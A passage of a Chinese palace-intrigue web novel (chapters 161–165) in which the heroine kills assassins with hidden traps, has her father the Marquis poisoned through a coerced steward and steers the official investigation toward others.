另一人刚闪开一支,还没来得及躲开第二支,就被灯笼射出的铁箭贯穿胸膛狠狠钉在了地上,鲜血汩汩涌出,身体不受控制地抽搐了起来。
追击九栀的两名暗卫被这一变故惊得魂飞魄散,第一时间找了地方闪躲。
饶是如此,其中一人的肩头仍被利箭给擦出了一道血痕。
他们做梦也想不到,侯府大小姐的院子里竟然藏了这样精妙的杀人机关。
大长公主派了他们四人来杀一个侯府千金,如今人还没碰到分毫,自己人就先折损了两个。
简直是奇耻大辱。
余下两名暗卫对视一眼,都看到了彼此眼中的杀意。
他们今日务必按照大长公主的吩咐,杀了晏逐星,而后纵火烧了这玉澜院,让她死无全尸,将她挫骨扬灰。
否则,死无葬身之地的人就是他们了。
第161章 真是缺大德
灯笼里的箭矢有限,箭雨一停,二人就冲进了晏逐星的屋子里。
这一回他们学聪明了。
唯恐晏逐星屋子里还有什么杀人的机关,因此先用地上的尸体来探了路。
尸体撞开房门,翻滚着砸在屋内的地面上发出沉闷的响声。
屋内一片死寂。
两人舒了一口气。
确认安全后,他们一前一后紧贴着门框两侧迅速掠入屋内。
然而目之所及之处,空无一人。
看着打开的窗户,两人脱口而出。
“糟了!”
不会让她跑了吧。
他们正欲去追,一大片灰白色的粉末毫无征兆地从他们头顶的房梁缝隙间倾泻而下。
粉末细密呛人,带着一股刺鼻的辛辣气味,瞬间模糊了他们的视线。
“啊,我的眼睛!”
两人猝不及防被这粉末糊了一脸,剧痛和强烈的灼烧感让他们瞬间失去了方向感,根本看不清面前是什么情况。
他们下意识地挥舞着手中的刀自保。
蹲在窗户外边的晏逐星瞬间起身抬起双臂,藏在袖中的精巧袖箭直冲两人而去。
虽然看不清,但多年刀口舔血的直觉让两人闪身躲过了这一箭。
但架不住晏逐星还有第二箭,第三箭。
两人狼狈闪躲,但肩膀和腿还是受了伤。
同一时间,先前蹲在横梁上撒粉的九栀一跃而下,跟着补刀。
暗卫虽视线受阻但听力仍在,感受到侧面袭来的锐利剑气心头警铃大作,他猛地回刀格挡。
晏逐星也不再躲藏,掏出了藏着的匕首翻身入内与九栀联手绞杀二人。
她面色冷漠,招招致命。
她不想死,那就只能是他们死了。
主仆二人联手,皆是搏命的架势,二人占了先机,因而处于上风。
公主府的两个暗卫只觉得憋屈极了。
最初头儿让他们四人来刺杀晏逐星时,他们还觉得杀鸡焉用牛刀,杀一个千金小姐,一个人就够了。
结果现在他们四人都要死在她的院子里了。
他们如何能甘心呢。
暗卫咬牙,开口想要分散她的注意力而后偷袭。
“你就不想知道我们是谁派来的吗?”
回答他的是晏逐星竭尽全力的冷漠一击。
一刀,穿心。
另一边,九栀也结束了战斗,一剑封喉。
两个暗卫死不瞑目。
晏逐星踢了先前说话的暗卫一脚:“没人告诉过你么,杀人的时候废话不要太多。”
谁要杀她?
嘁。
这么显而易见的问题,有什么可问的。
不是温家人就是朝华大长公主。
温家人既然已经找了林姨娘和柳姨娘让他们给定远侯下毒,就不会特意命暗卫来杀她。
一起用毒药把她送走不就得了。
所以这一批暗卫,多半是大长公主府的。
九栀搜完了尸体,将他们带来的火折子拿了出来,随后又去检查了一圈,发现院子里不知何时被人撒了桐油。
她沉声道:“小姐,他们打的是毁尸灭迹的主意。”
这事一出,晏逐星就确定了,这些人一定是大长公主府的。
大长公主恨她,所以希望她和福安郡主一样死得惨烈。
“收好箭矢,而后烧了玉澜院。”晏逐星略一思索,吩咐了下去。
反正值钱的东西她也已经拿走,玉澜院存在与不存在都无所谓了。
死了那么多人,尸体也不好解释,一把火烧了一了百了。
正好可以掩饰她之前设下的机关。
过去在定远侯府的日子,她总觉得很不安,因而为了活下去,她做了很多很多准备。
每日雷打不动的习武,即便是上回摔伤了,手上的功夫也没有耽误,腿不能用,她就练习射箭。
院中的机关,是她一点一点和九栀布下的,当初是为了防备温如霜狗急跳墙,买凶杀人准备的。
没想到如今竟然用在了大长公主府的暗卫身上。
果然老天爷不会亏待用心准备的人,当初没用上,今日却救了她一条命。
“是。”九栀当即应下,准备把这些人都给烧了。
若不是半个时辰前,柳姨娘乔装打扮亲自来找了大小姐,将温家胁迫她和林姨娘家里人,逼她们给定远侯下药一事说了出来。
求大小姐救林姨娘一命。
她们刚刚恐怕真的会以为柳姨娘要在玉澜院见大小姐。
朝华大长公主的人这一回真是失算了。
晏逐星和九栀重新换了一身衣裳,收拾了一下。
正准备放火烧院子,阮寄薇就挺着大肚子风风火火地赶来了。
柳姨娘搀扶着她,她们身后还跟着两个健硕的仆妇,仆妇一左一右地钳制着族长的妻子汪氏。
汪氏嘴被堵上了,唔唔唔地想要发出声音。
“叫什么叫,你这不干人事龌龊下流的老虔婆!”阮寄薇抬手给了她一耳光。
晏逐星有些讶异。
一段时间不见,阮寄薇气性变大了呀。
不等她发问,阮寄薇就竹筒倒豆子似的把事情经过说了出来:“大小姐,她鬼鬼祟祟的想要给你下药,幸亏让我给逮着了。”
晏逐星听完整个人目瞪口呆。
汪氏竟然给定远侯和她的酒水里都下了催情药。
“侯爷和大小姐虽然不是亲生父女,但谁能否认他们父女的情谊?!侯爷早就说过了,大小姐永远是他的女儿。你做这种事,真是缺了大德,也不怕日后断子绝孙。”阮寄薇狠狠啐了一口唾沫到她脸上。
说完她别过头,这才瞧见了院落中的尸体,吓得“啊”了一声。
柳姨娘也吓了一跳,但她没喊出声。
她紧紧扶住了阮寄薇。
阮姨娘肚子里的孩子可是万万不能出事的。
她可答应过大小姐了,要护好阮姨娘。
“无妨,都是想杀我的刺客。准备一把火烧了。”晏逐星轻描淡写地解释。
柳姨娘长长地舒了一口气。
大小姐果然不是寻常闺阁女子能比的。
她之前做的决定真是做对了。
她早就知道阮寄薇投靠了大小姐,因而她先前决定赌一把,将温家的事情和盘托出,求大小姐救命。
现在看来,她赌赢了。
大小姐杀了人都能面不改色,一看就不是池中之物,她一定有办法保下她和林姨娘。
“哦,那就烧了吧。”阮寄薇点点头。
大小姐都敢让她混淆侯府血脉,杀几个刺客多大点事啊。
阮寄薇接受良好。
她看向汪氏,询问晏逐星的意思:“那她呢?要怎么处理?”
晏逐星眉头微皱,果断道:“既然她找死,那就成全她吧,把她和这些刺客一块烧了吧。”
听到晏逐星要把她烧死,生死攸关之际,汪氏迸发出了前所未有的力气。
她挣脱了两个仆妇的钳制,一把拽掉了口中的布,上气不接下气道:“大小姐,阮姨娘误会了,我绝对不会干那样丧天良的事情啊。”
“你敢说你没下药?我的丫鬟可是亲眼所见!”阮寄薇没想到她竟然还敢狡辩。
“我是下了,但绝对不是您说的那个意思啊。”汪氏崩溃了。
阮姨娘的想法也跟常人的太不一样了吧,那样的事情她干了有什么好处啊。
汪氏看着一地的尸体,又看了看晏逐星冷漠的眼神,不敢撒谎,直接把所有的事情都说了出来。
第162章 定远侯死了
原来,自打上回晏逐星走后,汪氏代管家的权利就被定远侯收回了。
汪氏借着帮忙操持定远侯婚宴一事厚着脸皮留在了侯府,她把自己的娘家侄女也给叫来了。
想着趁定远侯娶新妇这日,让侄女和定远侯生米煮成熟饭,届时侄女当不上侯府主母,当个妾室也不错。
毕竟侯府如今没有继承人。
若她的侄女能抢先一步生下儿子,侯府不还是他们的么。
于是她才想着给定远侯下催情药。
晏逐星听完,觉得她说得倒也合情合理。
汪氏想要的始终都是侯府的荣华富贵,没必要让她和定远侯身败名裂。
“那你为何要给我下药?”晏逐星问道。
汪氏咽了咽口水,挣扎着要不要说实话。
“你知道的,我这个人向来没什么耐心。”晏逐星淡漠地扫了她一眼,将腰间的软剑解下,直指汪氏喉间。
“我数到三,你若不说,便给他们陪葬。一、二……”
听到这话汪氏吓坏了,涕泪横流地冲上前抱住晏逐星的腿,嚎哭道:“我说,我全都说还不行吗。”
“是卫国公府的一个管事嬷嬷让我干的。”汪氏毫不犹豫地就把幕后之人给卖了。
晏逐星:“……”
哇,定远侯今日的婚宴可真是热闹极了。
先是温家人要下毒,后是大长公主派出暗卫刺杀,现在卫国公府的人也来掺一脚。
这些人有完没完?
难道是她表现得太客气了,让他们产生了谁都可以踩她一脚的错觉?
晏逐星冷笑。
虽然汪氏供出来的只是卫国公府一个小小的管事嬷嬷,但她心知肚明,要对付她的只会是窦淑容。
她不明白窦淑容为何会恨她至此,非要让她身败名裂活不下去才满意吗。
就因为之前冰嬉宴上的事情?
晏逐星深吸一口气。
既然窦淑容非要掺和,那杀死定远侯的这个锅,就她来背吧。
林姨娘应该已经找到裴明镜了,也不知道等会儿他来查案,查到自己母亲头上会是一个什么表情。
*
定远侯正与忠毅伯把酒言欢,脸上堆满了春风得意的笑容。
酒酣耳热之际,就瞧见林管家面色惨白地冲了过来。
事态严重,林管家也顾不得礼数,几乎是扑到定远侯耳边急促低语:“侯爷!大事不好!玉澜院起火了,大小姐好像还在里头没出来呢!”
“你说什么?!”定远侯惊得手一松,手里的酒杯砸在地上摔得粉碎。
这番举动引得附近几位宾客侧目。
忠毅伯放下酒杯,关切地问:“鸿升兄,何事如此惊慌?”
定远侯眨眼间换上了一副云淡风轻的笑容。
他摆摆手,对着周围投来目光的宾客们朗声道:“嗐,无妨无妨!下头人毛手毛脚,一点子小事都办不利索,惊扰了各位的雅兴,真是该打!”
忠毅伯将信将疑,但见他神色如常,便也笑着举杯:“无事便好,来,再饮一杯!”
定远侯笑着举杯回应,眼神却飞快地扫向玉澜院的方向。
此刻前院喧嚣,玉澜院的位置又偏,尚未有黑烟冲天而起。
他心下稍定,趁着举杯饮酒的间隙侧过脸,用只有林管家能听到的声音吩咐道:
“听着,立刻带人过去压住火势,别让它烧大了惊动前头。”
他顿了顿,声音压得更低。
“至于大小姐的事……”
“若她命大,算她造化。若她……”
他没说完,但林管家也已听懂了他的言外之意。
侯爷这是要让大小姐自生自灭啊!
“重点是,管好下人的嘴。今日之事,一丝一毫都不许传到这前院来!若让我听到半句风言风语,唯你是问!”
定远侯面色冷凝。
婚宴才进行到一半,正是与京中权贵联络感情的关键时刻。
若让这些好不容易才借着国公府名头请来的贵客知道后院失火,甚至还死了人,他们必定会立刻寻由头告辞。
那他寄予厚望的这场婚宴,岂不成了笑话?
至于晏逐星,一个得罪了朝华大长公主的女儿,怕是没有多少前程了。
如今他也已经娶得骆文缨,有没有晏逐星去与烈国公府维系感情也不那么重要了。
林管家听到这话,只觉得一股寒气从脚底直冲头顶。
看着定远侯那张堆满假笑的脸,他嘴唇哆嗦了一下,终究不敢多言,只深深地垂下头:“是,小的明白。”
说完,他几乎是连滚爬爬地退了下去。
定远侯这才彻底转过身,脸上重新挂满热络的笑容,他高举酒杯继续与宾客们推杯换盏,谈笑风生。
仿佛什么都没发生。
晏逐星听完了林管家转达的话,笑了。
她就知道,定远侯这样自私自利的男人,对她好只是因为她有利用价值。
什么妻子女儿,都比不过权势。
“让他喝下这碗醒酒汤,你能做到吧?”晏逐星将温家送来的毒药悉数放到了醒酒汤里。
林管家猛地摇头,哆嗦道:“大小姐,那是弑主,我不敢啊……”
“你的孙儿,难道不比定远侯重要么?”晏逐星微微一笑,将手中的长命锁晃了晃。
林管家彻底崩溃了。
他的孙子林南才刚刚满周岁,学会喊的第一个人不是爹也不是娘,而是他这个阿爷。
他欢喜不已,特意给孙儿打了这个长命锁。
如今这个长命锁竟然落到了大小姐手中。
他扑通给晏逐星跪下了:“大小姐,南儿还小,您就饶过他这一回吧……”
晏逐星轻笑一声:“林管家你怎么能这么想我呢,我岂是那种会轻易要别人命的人。”
林管家看着玉澜院里的那些尸体,欲哭无泪。
大小姐说出这话,她自己信么?
晏逐星将他搀扶起来,一字一句道:
“事成之后,你依旧是侯府最得力的管家。不仅如此,阮姨娘腹中的儿子诞下后,我会安排你的孙儿做他的贴身书童,一同进学,一同长大。”
“若他学有所成,我会做主给他去了奴籍,让他日后可以参加科考。”
“与侯府世子从小相伴的情谊,还有你孙儿不再为奴的以后。林管家,你要还是不要?”
林管家被她说动了,最终咬牙切齿地答应了下来。
他端着醒酒汤重新去了前院。
定远侯眼角余光瞥见林管家回来,眼神立刻扫了过来。
“如何了?”他压低声音询问。
林管家深深吸了一口气,努力控制着声音的平稳:“侯爷放心,火已经扑灭了!万幸没有蔓延开,只是玉澜院留下当值的丫鬟没能逃出来……”
“什么?!”定远侯脸上的笑容瞬间僵住。
他的大喜日子死了人,真是晦气。
林管家将手中那碗温热的醒酒汤恭敬地递到定远侯面前,谄媚道:“侯爷息怒!都是那丫鬟命薄福浅,冲撞了吉日。不过您放心,小的已经处理好了,绝对不会让他们的家里人闹到您面前来。”
听到这话,定远侯心里舒坦了几分。
林管家再接再厉:“您今日饮了不少酒,不如趁热喝下这碗醒酒汤,新夫人和整个侯府都等着您主持大局呢。”
定远侯听到这话,觉得很有道理。
他可不能真喝醉了,不然今晚还怎么和骆文缨成就好事。
他毫不迟疑地接过林管家手中的汤碗。
碗壁温热,汤色清澈,看不出任何异样。
“还是你想得周到。”
定远侯对林管家贴心的安排表示满意,他仰起头将那碗醒酒汤痛快地一饮而尽。
林管家悬着的心落回了一半。
他这边已经搞定了,就等着大小姐下一步动作了。
没过多久,玉澜院火光冲天冒出了浓重的黑烟。
“着火了,快来救火呀。”
不知道是谁的声音嚷嚷了出来,侯府顿时一片骚乱。
定远侯目眦欲裂,不是说火已经灭了吗,怎么又烧起来了。
“林平,林平!”
定远侯怒吼着想要把林管家叫过来,但一股钻心剧痛猛地从腹中窜起,直冲头顶。
他眼前一黑,喉咙里只发出了一声短促气音,身体便不受控制地向前栽倒,狠狠砸在宴席之上。
巨大的声响吸引了所有人的注意力。
满堂宾客都吓了一跳,侯府顿时乱成了一锅粥。
有一好心人想要将定远侯搀扶起来,结果上前碰到他却发现他没了呼吸,不由惊叫出声:
“啊,定远侯,他,他死了!”
第163章 到底死了没
一时间,定远侯大婚之日当场身亡的消息仿佛插上了翅膀飞遍了全京城。
窦淑容得知这个消息,脸色大变。
“怎么会是定远侯死了呢?晏逐星呢?”她焦急地追问。
她原想着给晏逐星下药,让晏逐星给永安王成就好事。
没想到永安王竟然被禁足了。
但错过定远侯成婚的大好时机,下一次还不知道要等到猴年马月。
今日去参加定远侯婚宴的人非富即贵,晏逐星一个商户女,即便与当中任何一人成就了好事,都是她的福气。
这么一想,窦淑容就果断让决定动手。
她盯着定远侯府有一段时间了。
定远侯府如今没有主母,后院简直漏得跟筛子似的。除了那个怀孕的阮姨娘严加防范,她的手伸不进去,其他人简直不要太好收买。
因而,她命人找上了汪氏。
汪氏对晏逐星很不满,一百两银子就让她铤而走险了。
只是她万万没想到,今日等来的不是晏逐星的消息,而是定远侯的死讯。
“夫人莫慌,老奴已经派人去打探了。我们又不曾害过定远侯,此事与咱们无关。”容氏赶忙安慰主母,心里也是一团乱麻。
定远侯今日身死,想必烈国公府定会让人仔细查探。
到时候,他们找上汪氏的事怕是瞒不住了。
“对,你说得对,我们又没害过定远侯,他死了和我们有什么关系。”窦淑容重重点头,惨白的脸上重新恢复了些许血色。
只是一想到晏逐星,她的心就直直地坠入了谷底。
这丫头真邪门。
她身边的人几乎都死绝了,可她还活得好好的。
她到底要怎样才能让她离她的儿子远一些?
*
公主府。
朝华大长公主得知此事,笑出了眼泪。
她用指腹一遍遍摩挲着女儿留下的那副红玛瑙耳坠,声音低哑却清晰:“福安,母亲替你报仇了。”
她命暗卫将晏逐星杀死后一把火烧了,毁尸灭迹。
还留了后手,命人精心伪造了晏逐星与人私奔离开京城的假象。
这样,永远不会有人知道她已经死了,只会把她的尸骨当成普通丫鬟的随意处理。
她将在暗无天日的地底下长眠,无人祭拜,成为孤魂野鬼,比她的福安凄惨十倍、百倍。
一刻钟后。
朝华大长公主收起了耳坠子,察觉到了不对劲。
定远侯府失火、定远侯身亡的消息已经传遍京城,为何她派出去的暗卫一个都没回来。
难不成,他们任务失败了?
她急忙寻来驸马:“派出去的人可曾回来复命?”
“未曾。”驸马脸色难看地摇了摇头。
“怎么可能!”朝华大长公主脸色瞬间变了。
公主府精心培养的四个暗卫,竟然杀不死一个小小的闺阁女子?
“是不是谢翊宁派了人暗中护着她?”朝华大长公主咬牙切齿地询问。
“不曾。”驸马再一次摇头。
他们一直紧盯着永安王府,想抓住谢翊宁的把柄。
但他禁足期间,真就老老实实地呆在府里哪里都没去。
他身边的侍卫也一直呆在王府当中。
这一次,他并没有出手。
“不可能,绝不可能!派人去确认,晏逐星到底死了没!”朝华大长公主狠狠将身边的东西扫落在地,神色癫狂。
没过多久,管事就急匆匆地跑了回来。
“回禀殿下,定远侯府那位大小姐,如今正陪着新入门的当家主母在处理定远侯的身后事。”
听到这话,朝华大长公主气得浑身发抖。
竟然又让晏逐星逃掉了?
“废物,全都是废物。”她厉声怒喝,拔出一旁侍卫的剑对着殿内的帷幔一顿乱砍。
她将这些帷幔当做了晏逐星,恨不得捅她个十刀八刀,让她立刻死在自己的面前。
发泄完后,她将剑“哐当”扔到了地上,冷声下令:“继续去打探定远侯府的情况,任何事都不许遗漏。”
“是。”管事瑟瑟发抖,赶紧退了出去。
*
定远侯府内。
骆文缨得知定远侯死了,脑子一片空白。
这么快的吗?
那她岂不是都不需要和他商量“契约夫妻”的事情了。
幸福来得太突然,骆文缨一时间都没反应过来她如今是当家主母得赶紧去处理定远侯的身后事。
她第一反应是让人速回烈国公府。
这事可不能让娘亲知道,若是让娘亲知道她刚嫁过来,还没洞房定远侯就死了,娘亲怕是会打击得一命呜呼。
直到汪氏的侄女汪慧心跑进来大骂她丧门星。
“侯爷就是被你克死的,我姑姑也被你克死了,你就不该嫁到侯府来。”
“呜呜呜呜。你当初克死了未婚夫,如今又克死侯爷,你不得好死!你就是丧门星!谁娶你谁倒霉。”
“你赶紧滚出侯府去。”
骆文缨被骂得一头雾水,这是谁?
但不管是谁,敢挑衅她这个当家主母,她都不会放过。
她给了丫鬟鸣柳一个眼神。
鸣柳撩起袖子就上前啪啪啪抽了汪慧心几个大耳巴子。
“侯府下人竟这般没规矩?”
“对主母不敬,当掌嘴。”
她动作太快,汪慧心甚至来不及闪躲。
挨了两个耳光后她想要躲开,就被另一个丫鬟给按住了。
那个丫鬟按住她,鸣柳负责抽她。
足足抽了她二十个耳光,将她脸都抽肿了,这才停手。
汪慧心脑子一片空白。
这位新来的当家主母太可怕了,她不该听姑父的来闹这么一出的。
她“哇”一下就哭了。
骆文缨眉头一皱,鸣柳就要抬手。
汪慧心瑟缩地往后躲。
骆文缨沉声道:“我问你答,不说就当刺客处理。”
“我不是刺客,我姑姑是侯爷的婶婶!我姑父是侯爷的叔叔,也是晏氏一族的族长。你不能打我!”汪慧心赶忙表明身份。
没等她继续说下去,下人就跑来通传。
“小姐,侯府大小姐来了。”
听到是晏逐星,骆文缨松了一口气。
如今外边什么情况,她还真不清楚。
晏逐星来了就好了。
“快将她请进来。”骆文缨当即下令。
第164章 查到自己家
晏逐星刚走进来,汪慧心看到她立刻冲了过去,哭诉了起来:“大小姐,您可要替我做主啊。这女人刚嫁过来就克死了侯爷和我姑姑,我说了她两句,她就把我打成了这样。”
汪慧心摸着自己的脸,哭得更厉害了。
“她就是丧门星,您可得离她远些,省得把您也给克死了。”
她不遗余力地抹黑骆文缨。
骆文缨的丫鬟们听到这话气得牙痒痒,恨不得当场上去揍她。
但晏逐星还在,她们又不好轻举妄动。
没想到,下一刻晏逐星就干了他们都想干的事情。
她抬手扇了汪慧心一巴掌,力道大得将她的牙齿都打飞了一颗。
“谁允许你这般污蔑侯府当家主母的?”
“她若是丧门星,那你站这屋里那么久,怎么还没被克死?”晏逐星一句话就让她破功了。
骆文缨和丫鬟们听到这话噗嗤笑出了声。
汪慧心目瞪口呆。
她还以为晏逐星会替侯爷打抱不平,和她姑父一块联手赶走骆文缨呢。
晏逐星毫不客气道:“至于你的姑母,她给侯爷下药,毒死侯爷后还想纵火烧死我,结果反倒把自己给烧死了。你身为同伙,京兆府一会儿就要找你去问话了。”
“不,我什么都不知道。”汪慧心疯狂摇头。
“姑姑怎么可能害死侯爷,绝不可能。”
晏逐星冷冷道:“你姑姑收了别人一百两银子,已经找出来了,你自己去跟那些官差分辨吧。”
随后她扭头看了一眼九栀,九栀直接将人拽走了。
林姨娘已经将裴明镜请来,如今府中除了她和骆文缨,其他人都在被问话。
“星儿,到底出了什么事?什么下毒?什么烧死?侯爷究竟是怎么死的?”骆文缨一把握住了她的手。
晏逐星将今日的事情都说了出来。
“汪氏收了旁人的银子,想要给父亲下药,但具体什么药,还得让京兆府的官爷们去查。”
“不仅如此,她还记恨我让父亲夺了她的管家权,为了泄愤,想把我给烧死,如今玉澜院已经全都烧毁了。”
“林姨娘的亲娘今日来了侯府,告知她一家老小的性命都掌握在她手中,她若不给侯爷下毒,他们就死定了。温家人会杀了他们的。林姨娘很害怕,便去京兆府报官了。”
“如今,京兆尹裴大人正在府中问话。”
骆文缨和丫鬟们都倒吸了一口凉气。
今日竟然发生了那么多事情?
晏逐星没有停下,继续道:
“先前来的人是汪氏的侄女,多半是族长将她派来的。若你被赶出侯府,那么侯府的财产就可以归并到晏氏一族当中了。毕竟阮姨娘腹中的孩子还没出生呢。”
“所以,表姑,您得拿起当家主母的姿态,出去主持大局。”
骆文缨郑重点头。
她是绝对不会让晏氏一族的人将她赶走的。
若是真让他们把克夫的罪名扣到她头上,一荣俱荣一损俱损,以后骆家的姑娘还怎么嫁人。
“你放心,林管家会帮你的。”晏逐星轻轻拍了拍她的手背。
有她这句话,骆文缨信心大增。
“鸣柳、含烟、锦书、晚秋。”
她将自己的四大丫鬟叫了过来。
“我要这侯府上上下下,都老实听话。该怎么做,你们知道的吧?”
“知道。”四个丫鬟异口同声地回答。
她们会好好以理服人,若侯府的下人不讲道理,她们也略懂一些拳脚。
“走吧。”骆文缨连嫁衣都没换,直接将盖头扔到了地上,领着丫鬟们去了前厅。
林管家把侯府所有的下人都叫了过来,让他们老实拜见主母。
族长气了个半死。
他怒目圆瞪,看向林管家:“她才刚进门,都没洞房,算什么侯府主母。我是侯爷的叔叔,又是晏氏一族的族长,这府中发生了这样大的事情,理当让我来主持大局。”
骆文缨冷声道:“三媒六聘,天地为证,众宾见证,我与侯爷礼已成。侯府主母之位,名正言顺!”
“再者,你的夫人谋害了侯爷,你如今又急着越过我这明媒正娶的未亡人来主持侯府的大局,你究竟是好心还是狼子野心,想必众人自有分辨。”
族长气了个半死,脱口而出:“关我夫人什么事。你这个丧门星,你若不嫁过来,侯爷又怎么会死?!”
“族长有什么冤屈,还是到裴大人面前去分说吧。”晏逐星懒得废话,直接让侯府小厮将他“请”走了。
晏逐星冷冷扫了在场所有的下人一眼。
“若让我再听到谁说新夫人是丧门星,全都拔了舌头逐出府去。”
一句话让下人们将脑袋垂得更凶了。
他们都知道,侯府除了侯爷,就属大小姐最厉害,她的话若是不听,那可是要倒大霉的。
“林管家,劳烦你把侯府的事情和表姑说一遍了。”晏逐星温和地看向了一旁的林平。
林管家弓着腰,毕恭毕敬地点了点头,而后看向了骆文缨:“小的林平,见过夫人。”
“嗯。辛苦林管家给我讲讲府中的情况了。”骆文缨微微颔首,命丫鬟给他塞了一个荷包。
沉甸甸的。
林管家一掂量就知道里边至少塞了五两银子。
他一颗心顿时热络了起来,先前倒戈晏逐星,背叛侯爷的愧疚顿时消失得一干二净。
有大小姐和当家主母作保,他林家日后的前程好着呢!
“多谢夫人赏。小的一定知无不言言无不尽。”
林管家领着下人们挨个给骆文缨磕头。
晏逐星退下,去见了裴明镜。
裴明镜瞧见她,下意识地先看了看她的胳膊。
也不知道上回上元节烫伤,是否留了疤。
“裴大人,可查清楚是谁要害我父亲了么?”晏逐星开口询问。
“温家三老爷已经被请到京兆府了,他否认了让侯府姨娘给侯爷下毒一事。”裴明镜将如今查出的情况告诉了她。
“本官已经询问清楚,案发时,林姨娘在京兆府,柳姨娘陪着阮姨娘打叶子牌,而你,去了玉澜院。”
“是。”晏逐星点了点头。
“汪氏告诉我,说有关我亲生爹娘的事情要和我说,我就去了。”
晏逐星面不改色地撒谎。
“我去到之后,她竟然想纵火烧死我。好在我的丫鬟及时寻来,不然我就要葬身于火海了。”
“根据本官调查,汪氏还给侯爷下了药。”裴明镜继续低头看着手中的证词询问。
“这药,与侯爷所中之毒如出一辙。”
“我真没想到,她恨我也就罢了,怎么还恨上了父亲。”晏逐星低头用帕子擦了擦不存在的眼泪。
裴明镜也觉得此事十分可疑。
汪氏怎么会下毒害死定远侯呢,她可是他的亲婶婶。
“据我们的人搜查,汪氏的屋子里多出了一百两银子。或许她是受了人指使。”裴明镜说到这,顿了顿。
莫非温家害怕两个姨娘会失败,所以还收买了第三人汪氏?
不仅如此,还请了杀手来杀人灭口?
裴明镜脑海里涌出万千思绪。
他收回念头,宽慰道:“至于是谁,京兆府会继续调查。以及院子里多出来的尸首,我们也会继续调查他们的身份。大小姐且宽心。本官一定会将真凶找出来,还侯爷一个公道。”
他话音刚落,就看到郑晗脸色尴尬地走了过来。
“大人,查出来了。与汪氏接触,给了她银两的,是卫国公府下人。”
第165章 动心不自知
裴明镜一瞬间怀疑自己是不是最近查案太拼命,没睡够所以产生了幻觉。
他们家为什么会和毒杀定远侯一案扯上关系?
“你说什么?”
他不可置信地开口。
郑晗硬着头皮回答:“根据汪氏侄女汪慧心的供述,接触汪氏的仆妇出自您府上……”
天老爷啊,这还怎么查。
查来查去,杀人凶手竟然出自顶头上司府上。
裴明镜第一反应是看向晏逐星:“此事我不知情。”
晏逐星眼里流露出一丝伤心:“我相信大人不会做这样的事情,但令堂对我一直颇有微词……”
裴明镜脸色变得更难看了。
他声音有些艰涩:“是,但何至于此……此事定然有什么误会。”
说完,他看向郑晗。
“接触汪氏的是何人?将他带到京兆府,本官亲自询问。”
郑晗弱弱道:“按大虞律令来说,大人您得回避。”
裴明镜一愣。
他家里有人涉案,他自然不能再参与调查。
裴明镜默了一瞬,片刻后方才开口:“此事移交大理寺,我不会再参与。”
他看了一眼晏逐星,张口想要说什么,但最后还是什么也没说。
他离开后,晏逐星松了一口气。
裴明镜为人聪明又执着,若真让他一直查下去,难保不会查出别的东西来。
如今这样,刚刚好。
*
裴明镜带着满腹疑惑和怒气回了卫国公府,他直奔母亲的院子。
“母亲,定远侯之死,是否与你有关?”他冷声询问。
窦淑容被他这一问,吓得心脏差点从喉咙里跳了出来。
儿子来得也太快了,难不成他知道什么了?
“你瞎说什么呢,我与定远侯毫无交集,他的死和我能有什么关系。”窦淑容果断否认。
“可京兆府已经调查出来了,咱们府上的下人和汪氏有勾结,还给了她药,让她下到定远侯的醒酒汤里。”裴明镜直直地盯着母亲。
窦淑容被他看得一阵心虚,嚷嚷得更加大声了。
“什么汪氏,我根本就不认识。”
“府上的下人是谁,你让人找出来,我一定要狠狠收拾他。”
一旁的容氏脸色早已煞白。
她紧紧将身体支撑在窦淑容的椅背上,才没有摔倒。
此事是她交由儿媳妇去办的,如今儿媳已经回了娘家,应该查不到什么吧。
裴明镜看向了脸色惨白的容氏。
容氏是母亲身边最得力的心腹,母亲任何事都不会瞒着她。
看她这表情,显然是知道点什么。
裴明镜对母亲失望透顶。
他决定最后给母亲一个机会。
他一字一句道:“您不知道,您身边的人也不知道吗?若是等到大理寺上门拿人,那国公府的体面可就全没了。”
“你这是在怀疑我?”窦淑容坚决不承认,开始哭天喊地了起来。
“国公爷啊,你来带我走吧,辛辛苦苦养大的孩儿竟然怀疑我,我不想活了。”
说着她就要去撞柱。
容氏赶忙扑过去拦住她:“夫人您别这样,您可得保重身体啊。”
裴明镜看着母亲哭闹,心里已经没有了波澜。
从小到大,母亲这一招用了无数次。
他已经看厌了。
他给身后的护卫使了个眼神。
“拿下。”
护卫当即上前,直接将容氏按倒在地。
这一变故,惹得窦淑容都停止了假哭。
“明镜,你这是何意?”
“既然母亲不知情,想必就是被恶奴蒙蔽了。容氏,你若不说实话,那今日我便将你杖毙于院中,让他们知道欺主的下场。”裴明镜语气淡漠。
“明镜!”窦淑容失声惊呼,难以置信地看着儿子那张变得陌生的冷峻面孔。
“容妈妈无辜,你莫要冲动!”
“世子饶命!老奴当真不知啊!”容氏吓得魂飞魄散,疯狂给他磕头。
场面顿时乱做了一团。
裴明镜却毫不留情,直接命人取来了刑仗。
容氏吓得脸色煞白。
这么粗的棍子打下去,怕是不用十杖,她就要去地府见阎王了。
“世子饶命世子饶命,老奴当真不知情啊。”她还是不肯吐口。
催情药不是什么光彩的东西,传出去夫人也不用做人了。
这个时候,她依旧抱着一丝侥幸。
儿媳妇已经离开京城,或许查不出来呢。
“动手。”裴明镜冷冷地吐出两个字。
护卫毫不留情,直接将刑杖重重地砸在了容氏的腰臀处。
“啊——”
容氏发出了凄厉的惨叫,她两眼一翻,差点晕死过去。
窦淑容快疯了。
她是绝对不可能承认自己做了那样的事情。
但容妈妈陪了她半辈子,是她最亲近的人,她怎么能眼睁睁看着她去死呢。
“住手,我让你们住手!”窦淑容尖叫了起来。
但行刑之人并未停下,他们只听裴明镜的。
窦淑容见容妈妈被打得几乎要没气了,最终一咬牙,含泪道:“我是命人去定远侯府下药了,但不是给定远侯下的药!你别打了!”
听到这话,在场的人都变了脸色。
“你若再打,那便将我的命也拿去吧。”窦淑容这下是真哭出来了。
裴明镜抬手,行刑的人停手。
容氏用尽全力想要爬向窦淑容,但却没有力气,她只得用微弱的声音劝阻道:“夫人什么都不知道,都是老奴擅作主张……”
窦淑容听到这话哭得更厉害了。
她快步走到容氏身边,命人去请大夫,把一切都交代了出来。
说到最后,她恨恨道:“我讨厌晏逐星那个狐狸精,我想给她一些教训。她若能嫁给别人,就不会勾引你了。”
听到母亲这话,裴明镜脸上浮出一阵错愕。
他没想到母亲竟是这样的人。
清白对于女子有多重要,同为女子,她难道不知么?
她怎能用这样下作的手段害人。
他更没想到,事情竟然是因他而起。
裴明镜深吸一口气,将愤怒压下,方才开口:“我说过很多次,我与她并无男女私情,母亲为何不信?”
